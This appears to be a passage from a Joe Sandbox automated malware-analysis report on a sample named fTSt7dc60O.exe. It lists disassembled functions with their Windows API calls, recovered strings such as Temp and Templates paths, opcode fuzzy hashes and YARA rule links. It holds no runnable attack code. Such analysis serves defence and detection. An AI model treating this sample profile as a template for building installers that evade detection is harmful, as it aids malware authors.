Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 3f2450370ff6ec370cb83e2696936d8051f71d6c0ea90f8f087f694b7f33879c
Instruction ID: 9708a756cc2c9ae94551e8e9c592081b607f980c3267f7876f2ac268d6c84cd7
Opcode Fuzzy Hash: 3f2450370ff6ec370cb83e2696936d8051f71d6c0ea90f8f087f694b7f33879c
Instruction Fuzzy Hash: B8B01231584200BFDA214F00DE05F057B21A790700F10C030B304381F082712420EB5D

Function 004041CF Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,00403FFB), ref: 004041DD

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 854be05ff51811c00036400083eb45e7be68dca0691a3475263c9078411ad26b
Instruction ID: c6b71f3973dfff953bb7db756b4a53cf392e498aed0f9e65811aff82f73edd61
Opcode Fuzzy Hash: 854be05ff51811c00036400083eb45e7be68dca0691a3475263c9078411ad26b
Instruction Fuzzy Hash: 81B09235684200BADA214B00ED09F867A62A768701F008864B300240B0C6B244A2DB19

Function 004041BC Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00403F94), ref: 004041C6

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 52bdda195f1be107111d33c53c23f47bc3bdbd5ca81d52a4b6bb6385c1bcbce2
Instruction ID: 8b53a25d375a508ca0f68064fdc939b5f25de369c98bd294fc40859475f67141
Opcode Fuzzy Hash: 52bdda195f1be107111d33c53c23f47bc3bdbd5ca81d52a4b6bb6385c1bcbce2
Instruction Fuzzy Hash: 02A01132808000ABCA028BA0EF08C0ABB22BBB8300B008A3AB2008003082320820EB0A

Function 004014D7 Relevance: 1.3, APIs: 1, Instructions: 17sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00000000), ref: 004014E6

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 5231c911f6ab3084dc61dacf490c6499e9f2d5b92fa0196a3b0b3ed156b1a20b
Instruction ID: 43bd389e684fdc992c114de42b340604c9c8a7aa9960d5983178e32e9e1c03f3
Opcode Fuzzy Hash: 5231c911f6ab3084dc61dacf490c6499e9f2d5b92fa0196a3b0b3ed156b1a20b
Instruction Fuzzy Hash: 42D0C9B7B141409BDB50EBB8AE8989B73A8E7913297204C73D942F20A1D178D8029A39

Non-executed Functions

Function 00404B6E Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404B86
GetDlgItem.USER32(?,00000408), ref: 00404B91
GlobalAlloc.KERNEL32(00000040,?), ref: 00404BDB
LoadBitmapW.USER32(0000006E), ref: 00404BEE
SetWindowLongW.USER32(?,000000FC,00405166), ref: 00404C07
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404C1B
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404C2D
SendMessageW.USER32(?,00001109,00000002), ref: 00404C43
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404C4F
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404C61
DeleteObject.GDI32(00000000), ref: 00404C64
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404C8F
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404C9B
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D31
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404D5C
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D70
GetWindowLongW.USER32(?,000000F0), ref: 00404D9F
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404DAD
ShowWindow.USER32(?,00000005), ref: 00404DBE
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404EBB
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404F20
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404F35
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404F59
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404F79
ImageList_Destroy.COMCTL32(?), ref: 00404F8E
GlobalFree.KERNEL32(?), ref: 00404F9E
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405017
SendMessageW.USER32(?,00001102,?,?), ref: 004050C0
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004050CF
InvalidateRect.USER32(?,00000000,00000001), ref: 004050EF
ShowWindow.USER32(?,00000000), ref: 0040513D
GetDlgItem.USER32(?,000003FE), ref: 00405148
ShowWindow.USER32(00000000), ref: 0040514F

Strings

M, xrefs: 00404D18
, xrefs: 00405127
N, xrefs: 00404DF9

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: c0ce892580bc14cf4332d57b508c1e8237967f859a0b842146343ba826295983
Instruction ID: c838968d9b53d15d037ad3ebbdc97e0e82191de3b695f5e6670933e8e46a19ea
Opcode Fuzzy Hash: c0ce892580bc14cf4332d57b508c1e8237967f859a0b842146343ba826295983
Instruction Fuzzy Hash: E9026EB0A00209EFDB209F94DC85AAE7BB5FB44314F10857AF610BA2E1C7799D42CF58

Function 00404635 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 265stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404684
SetWindowTextW.USER32(00000000,?), ref: 004046AE
SHBrowseForFolderW.SHELL32(?), ref: 0040475F
CoTaskMemFree.OLE32(00000000), ref: 0040476A
lstrcmpiW.KERNEL32(Call,004226E8,00000000,?,?), ref: 0040479C
lstrcatW.KERNEL32(?,Call), ref: 004047A8
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004047BA

Part of subcall function 00405708: GetDlgItemTextW.USER32(?,?,00000400,004047F1), ref: 0040571B

Part of subcall function 004061DC: CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\fTSt7dc60O.exe",C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00000000,00403332,C:\Users\user~1\AppData\Local\Temp\,771B3420,00403542), ref: 0040623F
Part of subcall function 004061DC: CharNextW.USER32(?,?,?,00000000), ref: 0040624E
Part of subcall function 004061DC: CharNextW.USER32(?,"C:\Users\user\Desktop\fTSt7dc60O.exe",C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00000000,00403332,C:\Users\user~1\AppData\Local\Temp\,771B3420,00403542), ref: 00406253
Part of subcall function 004061DC: CharPrevW.USER32(?,?,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00000000,00403332,C:\Users\user~1\AppData\Local\Temp\,771B3420,00403542), ref: 00406266

GetDiskFreeSpaceW.KERNEL32(004206B8,?,?,0000040F,?,004206B8,004206B8,?,00000000,004206B8,?,?,000003FB,?), ref: 0040487B
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404896
SetDlgItemTextW.USER32(00000000,00000400,004206A8), ref: 0040490F

Strings

A, xrefs: 00404758
&B, xrefs: 00404732
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\typhlostomy, xrefs: 00404785
Call, xrefs: 00404796, 0040479B, 004047A6

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
String ID: A$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\typhlostomy$Call$&B
API String ID: 2246997448-1365839044
Opcode ID: 0ddb93969d7d4b6c2286eeeb01da71e9d9c76c94d99e26f32eb17bb22fa58419
Instruction ID: 6e37369fe6ef7f71d764005b1086c215e28ed7130f32df1ae996be3c53d44702
Opcode Fuzzy Hash: 0ddb93969d7d4b6c2286eeeb01da71e9d9c76c94d99e26f32eb17bb22fa58419
Instruction Fuzzy Hash: A79170F1900219EBDB10AFA1DC85AAF77B8EF85714F10443BF601B62D1D77C9A418B69

Function 00402770 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040277F

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 270cfe79e7700546bd1110db50653953e97246535dd0ce6893212cd2a7b1ecea
Instruction ID: 2908b39070a7deba1428861388b98b097f8f9174a2682adf846a4f1dff5e2c07
Opcode Fuzzy Hash: 270cfe79e7700546bd1110db50653953e97246535dd0ce6893212cd2a7b1ecea
Instruction Fuzzy Hash: D5F05EB16101149BCB00DBA4DD499BEB378FF04318F3005BAE151F31D0D6B859409B2A

Function 00404337 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 004043D5
GetDlgItem.USER32(?,000003E8), ref: 004043E9
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404406
GetSysColor.USER32(?), ref: 00404417
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00404425
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 00404433
lstrlenW.KERNEL32(?), ref: 00404438
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 00404445
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 0040445A
GetDlgItem.USER32(?,0000040A), ref: 004044B3
SendMessageW.USER32(00000000), ref: 004044BA
GetDlgItem.USER32(?,000003E8), ref: 004044E5
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 00404528
LoadCursorW.USER32(00000000,00007F02), ref: 00404536
SetCursor.USER32(00000000), ref: 00404539
ShellExecuteW.SHELL32(0000070B,open,004271A0,00000000,00000000,00000001), ref: 0040454E
LoadCursorW.USER32(00000000,00007F00), ref: 0040455A
SetCursor.USER32(00000000), ref: 0040455D
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040458C
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040459E

Strings

N, xrefs: 004044D3
open, xrefs: 00404546
Call, xrefs: 00404514

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: Call$N$open
API String ID: 3615053054-2563687911
Opcode ID: 3a3e15a46bcef9b8006e363d6ddaa5c0bc478510f2ba28bfd0355cb20498c547
Instruction ID: 8b9c65ccee0929ae2cd37a550bbe3266d1c56d3aba5277cbe5cc7d17fb3eae84
Opcode Fuzzy Hash: 3a3e15a46bcef9b8006e363d6ddaa5c0bc478510f2ba28bfd0355cb20498c547
Instruction Fuzzy Hash: 19718FB1A00209FFDB109F60DD85A6A7BA9FB94354F00853AFB01B62D1C778AD51CF99

Function 00405C66 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 136stringmemoryfileCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00425D88,NUL,?,00000000,?,?,?,00405E0A,?,?,00000001,00405982,?,00000000,000000F1,?), ref: 00405C76
CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,?,?,?,00405E0A,?,?,00000001,00405982,?,00000000,000000F1,?), ref: 00405C9A
GetShortPathNameW.KERNEL32(00000000,00425D88,00000400), ref: 00405CA3

Part of subcall function 00405B19: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405D53,00000000,[Rename],00000000,00000000,00000000), ref: 00405B29
Part of subcall function 00405B19: lstrlenA.KERNEL32(00405D53,?,00000000,00405D53,00000000,[Rename],00000000,00000000,00000000), ref: 00405B5B

GetShortPathNameW.KERNEL32(?,00426588,00000400), ref: 00405CC0
wsprintfA.USER32 ref: 00405CDE
GetFileSize.KERNEL32(00000000,00000000,00426588,C0000000,00000004,00426588,?,?,?,?,?), ref: 00405D19
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00405D28
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 00405D60
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,00000000,00425988,00000000,-0000000A,00409560,00000000,[Rename],00000000,00000000,00000000), ref: 00405DB6
WriteFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00405DC8
GlobalFree.KERNEL32(00000000), ref: 00405DCF
CloseHandle.KERNEL32(00000000), ref: 00405DD6

Part of subcall function 00405BB4: GetFileAttributesW.KERNELBASE(00000003,00402DFF,C:\Users\user\Desktop\fTSt7dc60O.exe,80000000,00000003), ref: 00405BB8
Part of subcall function 00405BB4: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405BDA

Strings

NUL, xrefs: 00405C70
[Rename], xrefs: 00405D48, 00405D5A
%ls=%ls, xrefs: 00405CD4

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizeWritewsprintf
String ID: %ls=%ls$NUL$[Rename]
API String ID: 1265525490-899692902
Opcode ID: 559503feb89d21a9c334d896a0f7a2de64537d5462d12f25622628eabbc9644b
Instruction ID: 10a6a65bcc8db41326b0965a868e5b78be2cc6b43571d182478210b5aa6aebd6
Opcode Fuzzy Hash: 559503feb89d21a9c334d896a0f7a2de64537d5462d12f25622628eabbc9644b
Instruction Fuzzy Hash: E941FE71604A18BFD2206B61AC4CF6B3A6CEF45714F24443BB901B62D2EA78AD018A7D

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00428200,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: c8f07ac8fddda19ee2bf7cb4f90658f54556206f608d49a47768e3a2d0e378b6
Instruction ID: fcf32cd20748a1213536d9d4e972d5f65e682a1af5e7fde79162f5b09e182029
Opcode Fuzzy Hash: c8f07ac8fddda19ee2bf7cb4f90658f54556206f608d49a47768e3a2d0e378b6
Instruction Fuzzy Hash: D2418B71804249AFCB058FA5DD459BFBBB9FF44310F00852AF561AA1A0C738EA51DFA5

Function 100022D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 10002416

Part of subcall function 1000122C: lstrcpynW.KERNEL32(00000000,?,100012DF,00000019,100011BE,-000000A0), ref: 1000123C

GlobalAlloc.KERNEL32(00000040), ref: 10002397
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 100023B2

Strings

@H3w, xrefs: 100023CB

Memory Dump Source

Source File: 00000000.00000002.1384748730.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1384465097.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1385695895.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1385764243.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_fTSt7dc60O.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID: @H3w
API String ID: 4216380887-4275297014
Opcode ID: 3b2da28fc6c9bb4151d71d136a2166c584fe2e1793c0aa67a83c17282771645f
Instruction ID: a8798eece1b67337def5fc6f06e905ed3cc6fca3e5836deafc22007a072d802d
Opcode Fuzzy Hash: 3b2da28fc6c9bb4151d71d136a2166c584fe2e1793c0aa67a83c17282771645f
Instruction Fuzzy Hash: A14190B1508305EFF320DF24D885AAA77F8FB883D0F50452DF9468619ADB34AA54DB61

Function 004061DC Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\fTSt7dc60O.exe",C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00000000,00403332,C:\Users\user~1\AppData\Local\Temp\,771B3420,00403542), ref: 0040623F
CharNextW.USER32(?,?,?,00000000), ref: 0040624E
CharNextW.USER32(?,"C:\Users\user\Desktop\fTSt7dc60O.exe",C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00000000,00403332,C:\Users\user~1\AppData\Local\Temp\,771B3420,00403542), ref: 00406253
CharPrevW.USER32(?,?,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00000000,00403332,C:\Users\user~1\AppData\Local\Temp\,771B3420,00403542), ref: 00406266

Strings

*?|<>/":, xrefs: 0040622E
"C:\Users\user\Desktop\fTSt7dc60O.exe", xrefs: 00406220
C:\Users\user~1\AppData\Local\Temp\, xrefs: 004061DD, 004061E2

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: Char$Next$Prev
